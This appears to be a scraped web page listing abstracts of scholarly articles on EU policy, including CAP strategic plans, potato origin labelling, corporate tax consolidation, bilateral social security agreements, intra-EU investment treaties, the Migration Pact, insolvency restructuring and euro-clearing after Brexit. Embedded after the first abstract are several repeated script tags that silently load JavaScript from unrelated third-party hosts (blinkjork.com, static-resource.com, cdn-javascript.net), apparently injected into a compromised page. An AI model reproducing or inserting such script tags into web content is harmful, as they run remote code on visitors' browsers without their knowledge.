scholarly journals The new delivery model of the CAP: Some relevant issues

2020 ◽  
Vol 20 (1) ◽  
pp. 149
Author(s):  
Tomás García Azcárate ◽  
Carina Folkeson

<div><div><p>A key element of the European Commission´s proposal for the post-2020 CAP is the re-quirement for the EU Member States to present their proposed interventions in the form of a Strategic Plan. We addresses six sensitive issues: Similarities between the new architecture and the Rural Development historical management; performance reserve and duration of the financial perspectives; declared ambitions for the Strategic Plans; lengths of those Plans and an administrative challenge, in Spain and perhaps in other Member states. Our conclusion is that a real change is achievable but we should give time to time and that a step-by-step implementation is advisable.</p></div></div><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1578922923595"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1583929298033"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script>

2019 ◽  
Vol 10 (1) ◽  
pp. 208-218
Author(s):  
Ignacio CARREÑO ◽  
Lourdes MEDINA PÉREZ

On 14 November 2018, Poland’s Ministry for Agriculture and Rural Development notified the European Commission (hereinafter, Commission) of its intention to introduce mandatory country of origin labelling (hereinafter, COOL) for potatoes on the basis of a Draft Regulation of the Minister for Agriculture and Rural Development amending the Regulation on the labelling of certain foodstuffs (hereinafter, Draft Regulation).1 Poland’s notification is the most recent example of the continuously increasing number of EU Member States’ measures on COOL for foodstuffs. While the EU already provides COOL requirements for fruits and vegetables in Regulation (EU) No 543/2011 of 7 June 2011 laying down detailed rules for the application of Council Regulation (EC) No 1234/2007 in respect of the fruit and vegetables and processed fruit and vegetables sectors2 (hereinafter, Regulation (EU) No 543/2011), they do not apply to fresh potatoes.


Author(s):  
Danuše Nerudová

In 2007, when the pilot project of Home State Taxation System should started, but none of the EU Member States applied for, the European Commission has turned its attention to different project in the area of corporate income taxation. The paper presents the problems of consolidation under the system of Common Consolidated Corporate Tax Base, which is at present the aim of the European Commission in the area of corporate tax harmonization. Firstly, the paper presents the results of comparative analysis, which have been done throughout the EU Member States. The research was aimed at the area of group taxation schemes availability. Secondly, the paper presents the draft of CCCTB directive in the field of creation of the group for taxation purposes, the rules for access and exit from the group and the rules for calculation of thresholds for voting rights. The different possibilities of group creation are presented on the schemes. The paper also discuss the rules, suggested by the draft directive, which could create legal uncertainty for the companies and could cause the situation in which the companies would not know whether they can consolidate their accounting results or not, or whether they are the member of the group or not. The paper suggests the possible solutions in that area. At the end, there are also mentioned and discussed the methods, which could be used for consolidation under CCCTB system in the EU.


2018 ◽  
Vol 20 (2) ◽  
pp. 148-161
Author(s):  
Bernard Spiegel

For EU Member States like Austria, the EU Regulations on the coordination of social security schemes are the focus of academic and political attention. They deal with many cases and are usually very complex. They are supervised by the European Commission and the CJEU. Compared to these EU rules, bilateral agreements with third countries are treated as step-children. They do not get the academic and political attention they deserve, taking into account their importance in practice. They have common features compared to the EU rules, but there are also remarkable differences in the texts and their interpretation. The differences sometimes lead to practical problems of application and interpretation in the EU Member States. Based on Austrian experiences, all these aspects are elaborated in this article. Enhanced cooperation and exchange of information between the EU Member States in the future could help to improve the negotiating position of these countries and also guarantee greater esteem for the bilateral agreements.


2016 ◽  
Vol 17 (6) ◽  
pp. 942-963 ◽  
Author(s):  
Hanno Wehland

The European Commission and a number of EU Member States have long disputed the compatibility of intra-EU BITs with EU law. As illustrated by the Micula v Romania proceedings, where an investor seeks to enforce an intra-EU BIT award, which is seen as being in conflict with EU law, this can raise questions as to the extent to which an enforcing court should take this kind of conflict into account. The present contribution systematically analyses this issue with regard to both ICSID and non-ICSID awards, differentiating between enforcement proceedings within and outside of the EU. It concludes that within the EU even the enforcement of ICSID awards cannot be entirely taken for granted where such enforcement would lead to the violation of a fundamental provision of EU law.


Author(s):  
Andrew Vyacheslavovich Rybakov

The relevance of the selected topic is substantiated by the fact that in modern world migration has become a significant factor in the development of both accepting countries and countries of origin. Europe hosts the largest number of migrants. Since 2015, the EU member-states have been experiencing strong migration pressure. The existing migration stands in need for reform. The New Pact on Migration and Asylum should be a significant step towards creating a reliable and effective system for regulation of migration. The subject of this research is the institutional and legal characteristics of the EU New Pact on Migration and Asylum. The article analyzes the proposals of the European Commission regarding the migration policy reform, as well as the political-legal mechanism for their implementation; contradictions between the member-states in the course of the relevant discussions. The following conclusions are made: 1) It must be admitted that the new approach of the European Commission is comprehensive and aimed at integration of the internal and external aspects of migration policy. 2) The structure of the Pact corresponds to the goals of migration policy and consists on three levels &ndash; external, namely relations with the countries of origin and transit of migrants; control over the external borders of the EU; a new system of permanent solidarity. 3) As an annex to the New Pact on Migration and Asylum, the European Commission has presented a roadmap for implementation of various proposals. However, by the end of 2021, the schedule for the adoption of legal documents is not being maintained. 4) The only common denominator between the different groups of countries is the orientation towards external actions aimed at curbing migration movements prior to their arrival to Europe. 5) The plan of the European Commission on adoption of rules obligatory for all member-states currently seems untenable, considering the clashing interests.


Author(s):  
Olga Nikolaevna Sinkina

The object of this research is the concept of restructuring, which in the conditions of crisis in the European Union is positioned as an instrument for its overcoming and the procedure for its verification by the auditor. The subject of this research is a range of question associated on the peculiarities of positioning of the concept of restructuring in the EU. The article analyzes the criteria for insolvency and tests for the presence of the signs of insolvency according to the national legislation of the EU jurisdiction based on the typical crisis process. The author introduces the definition of the concept of restructuring, its framework and elements. The recommendations of the European Commission on overcoming crisis situations and insolvency of companies are provided; the principles of preventive concept of restructuring are analyzed; the auditor&rsquo;s procedures pertaining to the concept of restructuring are formulated. The research methodology relies on the fundamental provisions presented in the works of foreign scholars. The main conclusions are as follows: the responsibility of the corporate management in a number of EU member-states includes verification of compliance with the established criteria of insolvency on the regular basis; for this, it is necessary to submit the report to regulatory authorities on the current state of the company and decision on overcoming the crisis, usually in the form of the concept of restructuring approved by the auditor. The scientific novelty of this research consists in: 1) generalization of legal regulation of the criteria of insolvency in the EU member-states, tests for the presence of the signs of insolvency, responsibility of corporate management, outline of the restructuring plan; 2) positioning of the concept of restructuring, formulation of definition of the concept of restructuring, its framework and elements; 3) analysis of the principles of the preventive concept of restructuring of the European Commission; 4) development of audit procedures concerning the concept of restructuring.


Subject London euro-clearing post-Brexit. Significance The European Commission released draft legislation on June 13 proposing the European Securities and Markets Authority (ESMA) supervise non-EU-based clearing houses that are deemed systemically important, in effect giving the EU the power to insist euro-clearing remains in the bloc after Brexit. On June 23, the ECB proposed a “significantly enhanced” role for the ECB in euro-clearing. Forcing euro-clearing into the euro-area shows the bloc puts protecting its own interests before globalisation, also suggesting that the post-Brexit EU may increasingly prioritise political imperatives over economic ones, and become less open to international business. Impacts The draft law will affect New York and Tokyo, which will gain from London if European finance becomes more fragmented. If passed, the law will give the ESMA strong powers to determine the geography of EU finance. Such political direction could cause tensions as not all EU member states are likely to welcome it.


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